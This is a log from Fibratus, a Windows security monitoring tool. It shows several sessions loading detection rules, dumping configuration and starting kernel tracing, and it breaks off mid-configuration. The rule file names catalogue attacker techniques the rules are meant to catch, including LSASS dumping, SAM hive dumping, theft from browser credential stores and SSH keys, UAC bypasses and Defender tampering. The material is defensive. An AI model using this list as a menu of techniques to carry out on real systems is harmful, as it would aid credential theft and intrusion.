source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-04T13:41:51+01:00 level=info msg=bootstrapping with pid 14072. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-04T13:41:51+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ quiet-mode=>false sound=>true enabled=>false] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false] mail=>[ to=>[] use-template=>true port=>25 enabled=>false content-type=>text/html]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-envs=>true serialize-pe=>false serialize-threads=>false serialize-images=>false] + eventsource .................... [ buffer-size=>512 enable-image=>true enable-dns=>false max-buffers=>36 stack-enrichment=>true min-buffers=>16 enable-handle=>false enable-thread=>true enable-net=>true enable-fileio=>true enable-mem=>true enable-vamap=>true flush-interval=>1s enable-threadpool=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-audit-api=>true enable-registry=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 max-age=>0 level=>info formatter=>text max-size=>100 log-stdout=>true] + output ......................... [ http=>[ enable-gzip=>false endpoints=>[] timeout=>5s enabled=>false method=>POST tls-insecure-skip-verify=>false serializer=>json] eventlog=>[ enabled=>false level=>info] amqp=>[ tls-insecure-skip-verify=>false durable=>false vhost=>/ exchange=>fibratus timeout=>5s exchange-type=>topic passive=>false url=>amqp://localhost:5672 delivery-mode=>transient enabled=>false routing-key=>fibratus] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] elasticsearch=>[ healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] template-name=>fibratus bulk-workers=>1 index-name=>fibratus timeout=>5s enabled=>false gzip-compression=>false healthcheck=>true sniff=>false flush-period=>1s trace-log=>false healthcheck-interval=>10s]] + pe ............................. [ read-resources=>false excluded-images=>[svchost.exe] enabled=>false read-symbols=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ enabled=>false skip-allocs=>false scan-timeout=>10s excluded-procs=>[] fastscan=>true skip-registry=>false skip-mmaps=>false excluded-files=>[] skip-files=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]]] source=bootstrap/bootstrap.go:187 +time=2025-12-04T13:41:52+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-04T13:41:55+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-04T14:57:21+01:00 level=warning msg=unable to refresh loldrivers dataset: Get "https://www.loldrivers.io/api/drivers.json": dial tcp: lookup www.loldrivers.io: no such host source=loldrivers/client.go:280 +time=2025-12-04T14:59:22+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-04T14:59:22+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-04T14:59:22+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-04T16:04:05+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-04T16:04:05+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-04T16:04:05+01:00 level=info msg=bootstrapping with pid 6920. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-04T16:04:05+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ enabled=>false quiet-mode=>false sound=>true] mail=>[ use-template=>true to=>[] enabled=>false port=>25 content-type=>text/html] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-threads=>false serialize-pe=>false serialize-images=>false serialize-handles=>false] + eventsource .................... [ buffer-size=>512 enable-threadpool=>false flush-interval=>1s enable-handle=>false enable-thread=>true enable-registry=>true enable-mem=>true enable-audit-api=>true enable-net=>true stack-enrichment=>true enable-fileio=>true enable-dns=>false enable-vamap=>true max-buffers=>36 enable-image=>true min-buffers=>16 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]]] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text max-age=>0 max-size=>100 max-backups=>15 log-stdout=>true level=>info] + output ......................... [ amqp=>[ timeout=>5s exchange-type=>topic passive=>false enabled=>false routing-key=>fibratus exchange=>fibratus delivery-mode=>transient tls-insecure-skip-verify=>false durable=>false vhost=>/ url=>amqp://localhost:5672] eventlog=>[ level=>info enabled=>false] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true] elasticsearch=>[ healthcheck-timeout=>5s timeout=>5s enabled=>false index-name=>fibratus bulk-workers=>1 servers=>[http://127.0.0.1:9200] gzip-compression=>false flush-period=>1s sniff=>false template-name=>fibratus trace-log=>false healthcheck-interval=>10s healthcheck=>true] http=>[ serializer=>json method=>POST endpoints=>[] enable-gzip=>false tls-insecure-skip-verify=>false enabled=>false timeout=>5s]] + pe ............................. [ read-sections=>false read-symbols=>false read-resources=>false excluded-images=>[svchost.exe] enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] skip-allocs=>false skip-registry=>false excluded-procs=>[] skip-files=>false fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] scan-timeout=>10s enabled=>false skip-mmaps=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-04T16:04:05+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-04T16:04:08+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-04T16:04:43+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-04T16:04:44+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-04T16:04:44+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-04T16:04:51+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:155 +time=2025-12-04T16:04:51+01:00 level=info msg=bootstrapping with pid 17672. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-04T16:04:51+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ port=>25 enabled=>false to=>[] use-template=>true content-type=>text/html] systray=>[ sound=>true quiet-mode=>false enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-threads=>false serialize-images=>false serialize-envs=>true serialize-pe=>false] + eventsource .................... [ flush-interval=>1s enable-mem=>true enable-registry=>true enable-net=>true min-buffers=>16 enable-thread=>true enable-handle=>false enable-threadpool=>false enable-fileio=>true enable-dns=>false max-buffers=>36 stack-enrichment=>true enable-image=>true buffer-size=>512 enable-vamap=>true enable-audit-api=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]]] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info log-stdout=>true max-backups=>15 max-size=>100 max-age=>0 formatter=>text] + output ......................... [ http=>[ timeout=>5s enable-gzip=>false enabled=>false endpoints=>[] serializer=>json method=>POST tls-insecure-skip-verify=>false] elasticsearch=>[ servers=>[http://127.0.0.1:9200] gzip-compression=>false template-name=>fibratus timeout=>5s enabled=>false flush-period=>1s healthcheck=>true bulk-workers=>1 healthcheck-interval=>10s index-name=>fibratus sniff=>false healthcheck-timeout=>5s trace-log=>false] amqp=>[ durable=>false enabled=>false vhost=>/ tls-insecure-skip-verify=>false 